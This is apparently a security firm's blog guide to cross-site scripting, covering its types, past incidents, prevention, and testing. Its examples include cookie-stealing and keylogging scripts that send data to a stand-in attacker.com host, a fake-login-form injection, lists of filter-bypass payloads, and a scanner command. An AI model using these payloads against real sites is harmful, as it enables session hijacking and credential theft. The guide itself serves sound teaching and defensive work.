XSS Attack Guide 2024: Cross-Site Scripting Examples, Types & Prevention

JP
John Price
August 6, 2026
  • Reviewed by Kevin Schewe and Ratan Gupta
  • 9 min read
Share

Cross-Site Scripting (XSS) ranks among the most common yet dangerous web application vulnerabilities, consistently appearing in OWASP Top 10 lists and affecting millions of websites annually. Despite straightforward prevention techniques, XSS vulnerabilities persist due to developer oversight, complex application architectures, and the challenge of sanitizing user input across diverse contexts. This comprehensive guide explains what XSS is, the three main types with practical examples, real-world attack scenarios, complete prevention strategies, testing methodologies, and best practices for eliminating XSS vulnerabilities from web applications.

What is XSS (Cross-Site Scripting)? Clear Definition

Cross-Site Scripting (XSS) is a web security vulnerability where attackers inject malicious JavaScript code into web pages viewed by other users. When victims visit compromised pages, the malicious script executes in their browsers with the application's privileges, potentially stealing session cookies, capturing keystrokes, redirecting to phishing sites, or modifying page content.

Why it's called "Cross-Site": The attack crosses from the attacker's injected code into the victim's browser session on the targeted site, executing in the context of that site's domain and privileges.

Why it's abbreviated "XSS" not "CSS": To avoid confusion with Cascading Style Sheets, the vulnerability is abbreviated XSS (Cross-Site Scripting).

How XSS Works: Simple Example

Vulnerable Application

A website's search feature displays your search term:

    // VULNERABLE CODE
    <?php
    $search = $_GET['q'];
    echo "You searched for: " . $search;
    ?>

Normal Usage

URL: https://site.com/search?q=cybersecurity

Page displays: "You searched for: cybersecurity"

XSS Attack

URL: https://site.com/search?q=<script>alert('XSS')</script>

Page HTML becomes:

    You searched for: <script>alert('XSS')</script>

Result: JavaScript executes in victim's browser showing alert. More dangerous payloads could steal cookies or perform actions as the victim.

Three Types of XSS Attacks

1. Reflected XSS (Non-Persistent)

How it works: Malicious script reflects off web server in response (URL parameters, form submissions)

Attack scenario:

  1. Attacker crafts malicious URL with XSS payload
  2. Sends URL to victim via email, social media, or phishing
  3. Victim clicks link visiting vulnerable site
  4. Site reflects payload in response; script executes in victim's browser
  5. Script steals session cookie and sends to attacker

Example payload stealing cookies:

    <script>
    document.location='http://attacker.com/steal.php?cookie='+document.cookie;
    </script>

2. Stored XSS (Persistent)

How it works: Malicious script stored in database/server (comments, profile fields, forum posts) and executed whenever users view that content

Attack scenario:

  1. Attacker submits malicious comment/post with XSS payload
  2. Application stores payload in database without sanitization
  3. ANY user viewing that page executes the malicious script
  4. Script can affect hundreds or thousands of users

Example: Social media profile XSS

    <!-- Attacker's profile bio field -->
    <img src=x onerror="fetch('http://attacker.com/log?cookie='+document.cookie)">
    
    <!-- Anyone viewing attacker's profile sends their cookies to attacker -->

Why stored XSS is most dangerous: Affects all users automatically without requiring social engineering; persistent until removed

3. DOM-Based XSS

How it works: Vulnerability exists in client-side JavaScript code manipulating DOM based on user input

Vulnerable client-side code:

    // VULNERABLE
    var search = window.location.hash.substring(1);
    document.getElementById('results').innerHTML = "You searched for: " + search;

Attack: https://site.com/#<img src=x onerror=alert('XSS')>

Key difference: Payload never sent to server, entirely client-side, making detection harder

XSS Type Where Payload Stored Server Involvement Danger Level
Reflected Not stored (URL/request) Server reflects payload Medium (requires victim click)
Stored Database/server Server stores and serves payload High (affects all viewers)
DOM-Based Not stored (URL fragment) Server never sees payload Medium (harder to detect)

Real-World XSS Attack Scenarios

    // Malicious payload injected into vulnerable site
    <script>
    var cookie = document.cookie;
    var img = new Image();
    img.src = "http://attacker.com/steal.php?data=" + encodeURIComponent(cookie);
    </script>

Attack flow:

  1. Victim views page containing this script
  2. Script reads session cookie from browser
  3. Sends cookie to attacker's server
  4. Attacker uses stolen cookie to impersonate victim

Scenario 2: Keylogging Capturing Credentials

    // Keylogger injected via XSS
    <script>
    document.addEventListener('keypress', function(e) {
        fetch('http://attacker.com/log.php?key=' + e.key);
    });
    </script>

Impact: Every keystroke sent to attacker, capturing passwords, credit cards, personal information

Scenario 3: Phishing via Page Modification

    // Inject fake login form
    <script>
    document.body.innerHTML = '<div>Session expired. Please login again:<form action="http://attacker.com/fake" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form></div>';
    </script>

Impact: Users see realistic fake login form; submit credentials directly to attacker

Famous XSS Attacks and Breaches

Samy Worm - MySpace (2005)

  • Attack: Stored XSS worm in MySpace profiles
  • Spread: Self-propagating, infected profiles infected viewers' profiles
  • Impact: Over 1 million profiles infected in 20 hours
  • Payload: Added attacker as friend and replicated to new profiles
  • Significance: First major XSS worm demonstrating self-propagation potential

Twitter XSS Worm (2010)

  • Attack: XSS vulnerability in tweet rendering
  • Method: Malicious JavaScript in tweets executing when viewed
  • Impact: Thousands of accounts automatically retweeting malicious content
  • Spread: Viral propagation across Twitter platform

eBay Persistent XSS (2016)

  • Attack: Stored XSS in product listings
  • Duration: Vulnerability existed for months
  • Potential: Could steal user credentials and payment information
  • Discovery: Reported by security researchers

Complete XSS Prevention Guide

1. Output Encoding/Escaping (Primary Defense)

Principle: Encode user-generated content before displaying in HTML

HTML Context Encoding:

    // SECURE - Encode HTML special characters
    echo "You searched for: " . htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
    
    // Converts dangerous characters:
    // < becomes &lt;
    // > becomes &gt;
    // " becomes &quot;
    // ' becomes &#039;

JavaScript Context Encoding:

    // SECURE - Encode for JavaScript strings
    var search = "<?php echo json_encode($search); ?>";

URL Context Encoding:

    // SECURE - URL encode parameters
    $url = "http://example.com/search?q=" . urlencode($search);

2. Content Security Policy (CSP)

What it is: HTTP header instructing browsers which scripts are allowed to execute

Basic CSP Header:

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'

What this does:

  • Only allow scripts from same origin and trusted CDN
  • Block inline JavaScript (primary XSS vector)
  • Prevent execution of injected scripts
  • Block loading of plugins (Flash, Java)

Strict CSP for maximum protection:

    Content-Security-Policy: 
      default-src 'none'; 
      script-src 'nonce-random123' 'strict-dynamic'; 
      style-src 'self'; 
      img-src 'self' data:; 
      font-src 'self'; 
      connect-src 'self'

3. Input Validation

Whitelist approach: Only allow expected input formats

    // Validate email format
    function validateEmail(email) {
        const regex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
        return regex.test(email);
    }
    
    // Reject obviously malicious input
    function containsXSS(input) {
        const dangerous = /<script|javascript:|onerror=|onload=/i;
        return dangerous.test(input);
    }

Purpose: Prevent JavaScript from accessing cookies

    // Set session cookie with HTTPOnly flag
    setcookie('session', $session_id, [
        'httponly' => true,  // JavaScript cannot access
        'secure' => true,    // Only sent over HTTPS
        'samesite' => 'Strict'  // CSRF protection
    ]);

Impact: Even if XSS exists, attackers cannot steal session cookies via document.cookie

5. Use Modern Frameworks with Built-in Protection

Frameworks automatically encoding output:

  • React: JSX automatically escapes values preventing XSS
  • Angular: Templates sanitize bindings by default
  • Vue.js: Interpolation escapes HTML
  • Django: Template auto-escaping enabled by default

React example (secure by default):

    // SECURE - React automatically escapes
    function SearchResults({searchTerm}) {
        return <div>You searched for: {searchTerm}</div>;
    }
    
    // Even if searchTerm contains <script>, React renders it as text, not executable code

6. Avoid Dangerous Functions

Dangerous JavaScript functions:

    // DANGEROUS - Avoid these with user input
    element.innerHTML = userInput;  // Can execute scripts
    document.write(userInput);      // Can inject content
    eval(userInput);                // Executes as code
    setTimeout(userInput, 1000);    // Executes as code

Safe alternatives:

    // SAFE - Use textContent or createTextNode
    element.textContent = userInput;  // Treats as text, not HTML
    
    // SAFE - Create text node
    var textNode = document.createTextNode(userInput);
    element.appendChild(textNode);

Talk to a SubRosa security engineer

Get a straight answer on where your defenses actually stand — no pitch, no obligation.

Book a consultation

Testing for XSS Vulnerabilities

Manual Testing Payloads

Basic XSS test strings:

    <script>alert('XSS')</script>
    <img src=x onerror=alert('XSS')>
    <svg/onload=alert('XSS')>
    javascript:alert('XSS')
    "><script>alert('XSS')</script>
    '><script>alert('XSS')</script>

Testing methodology:

  1. Test EVERY input field, URL parameter, header
  2. Try payloads in different contexts (HTML, JavaScript, URL)
  3. Check if special characters encoded or stripped
  4. Observe application response and page source
  5. Test with browser developer tools open

Automated XSS Testing Tools

XSStrike:

    # Advanced XSS scanner
    python3 xsstrike.py -u "http://target.com/search?q=test"

Burp Suite Scanner:

  • Automated crawling and XSS testing
  • Context-aware payload generation
  • DOM-based XSS detection

OWASP ZAP:

  • Free open-source scanner
  • Active and passive XSS detection
  • Automated and manual testing modes

XSS Testing Checklist

  • ☐ Test all input fields with XSS payloads
  • ☐ Test URL parameters and fragments (hash)
  • ☐ Test HTTP headers (User-Agent, Referer, X-Forwarded-For)
  • ☐ Test file upload functionality (SVG, HTML uploads)
  • ☐ Test stored content (comments, profiles, posts)
  • ☐ Check for DOM-based XSS in JavaScript
  • ☐ Verify CSP headers present and restrictive
  • ☐ Confirm HTTPOnly flag on session cookies

Advanced XSS Attack Vectors

Filter Bypass Techniques

Attackers use various methods to bypass basic XSS filters:

Case variation and encoding:

    <ScRiPt>alert('XSS')</sCrIpT>
    <script>alert('XSS')</script>
    &#60;script&#62;alert('XSS')&#60;/script&#62;

Event handlers:

    <img src=x onerror=alert('XSS')>
    <body onload=alert('XSS')>
    <input onfocus=alert('XSS') autofocus>
    <marquee onstart=alert('XSS')>

JavaScript pseudo-protocol:

    <a href="javascript:alert('XSS')">Click me</a>
    <iframe src="javascript:alert('XSS')">

Mutation XSS (mXSS)

Exploits browser HTML parser mutations:

    <!-- Payload that mutates during parsing -->
    <noscript><p title="</noscript><img src=x onerror=alert('XSS')>">

XSS Impact and Consequences

Technical Impact

  • Account takeover: Steal session cookies or credentials
  • Data theft: Extract sensitive information visible to user
  • Malware distribution: Force downloads of malicious software
  • Website defacement: Modify page content for all users (stored XSS)
  • Further attacks: XSS as initial foothold for complex attack chains

Business Impact

  • Data breach costs: Average $4.45 million per breach
  • Reputation damage: Customer trust loss from security failures
  • Compliance violations: GDPR, PCI DSS penalties for inadequate security
  • Legal liability: Lawsuits from affected users
  • Remediation costs: Emergency fixes, security improvements, customer notifications

Secure Coding Practices: Language-Specific

PHP

    // SECURE output
    echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    
    // Use templating engines with auto-escaping
    // Twig, Blade automatically escape by default

Python/Django

    # SECURE - Django templates auto-escape
    {{ user_input }}  # Automatically escaped
    
    # DANGEROUS - Bypass escaping
    {{ user_input|safe }}  # Only use with trusted input

JavaScript

    // SECURE - Use textContent
    element.textContent = userInput;
    
    // DANGEROUS - innerHTML with user input
    element.innerHTML = userInput;  // NEVER DO THIS
    
    // SECURE - Sanitize if HTML needed
    import DOMPurify from 'dompurify';
    element.innerHTML = DOMPurify.sanitize(userInput);

Ruby/Rails

    # SECURE - Rails auto-escapes by default
    <%= user_input %>
    
    # DANGEROUS - raw/html_safe bypasses escaping
    <%= raw user_input %>  # Only use with trusted input

Modern XSS Defense: CSP Nonce-Based Approach

Implementation

    // Generate random nonce
    $nonce = base64_encode(random_bytes(16));
    
    // Set CSP header with nonce
    header("Content-Security-Policy: script-src 'nonce-$nonce'");
    
    // Include nonce in legitimate scripts
    echo "<script nonce='$nonce'>legitCode();</script>";

Result: Only scripts with correct nonce execute; injected scripts without nonce blocked

XSS in Single Page Applications (SPAs)

React XSS Vulnerabilities

Dangerous: dangerouslySetInnerHTML

    // VULNERABLE
    <div dangerouslySetInnerHTML={{__html: userInput}} />
    
    // SECURE - Sanitize first
    import DOMPurify from 'dompurify';
    <div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}} />

Angular XSS Protection

    // Angular sanitizes by default
    // SECURE
    <div>{{userInput}}</div>
    
    // DANGEROUS - Bypass sanitization
    <div [innerHTML]="userInput"></div>  // Use DomSanitizer if needed

Frequently Asked Questions

Is XSS worse than SQL injection?

Both are serious, but impact differs. SQL injection typically provides direct database access enabling mass data theft. XSS affects individual users but can spread (worms) and scale to thousands. SQL injection often has immediate, severe business impact; XSS impact accumulates across affected users. Both require priority fixing.

Can antivirus detect XSS attacks?

No, antivirus protects your computer from malware, not web application vulnerabilities. XSS occurs in browsers viewing web pages, not as files on your computer. Protection requires: secure application development, Web Application Firewalls (WAF), and browser security features, not antivirus.

Do all websites have XSS vulnerabilities?

Not all websites are vulnerable, but XSS is extremely common. Modern frameworks (React, Angular, Vue) provide automatic protection making XSS less likely in new applications using them correctly. However, legacy applications, custom code, and framework misuse create vulnerabilities. Regular security testing is essential.

Conclusion: Eliminating XSS from Web Applications

Cross-Site Scripting remains prevalent despite simple prevention techniques because developer awareness gaps, legacy code technical debt, and pressure to ship features quickly lead to security oversights. Yet XSS prevention is straightforward: encode all user-generated output, implement Content Security Policy, use framework-provided protections, and test regularly.

Organizations building or maintaining web applications must prioritize XSS prevention through secure development lifecycle integration: security training for developers covering output encoding and context-appropriate escaping, automated security scanning in CI/CD pipelines catching XSS before production, annual penetration testing validating defense effectiveness, and Content Security Policy deployment providing defense-in-depth.

The cost of XSS prevention (proper encoding, CSP headers, security testing) is negligible compared to breach consequences, stolen customer data, account takeovers, and reputation damage far exceed prevention investment.

subrosa provides comprehensive web application security services including application penetration testing identifying XSS and other OWASP Top 10 vulnerabilities, secure code review finding dangerous patterns before production, developer security training covering XSS prevention and secure coding practices, and application security consulting implementing secure development lifecycles. Schedule a consultation to discuss securing your web applications against XSS and other vulnerabilities.

Ready to strengthen your security posture?

Have questions about this article or need expert cybersecurity guidance? Connect with our team to discuss your security needs.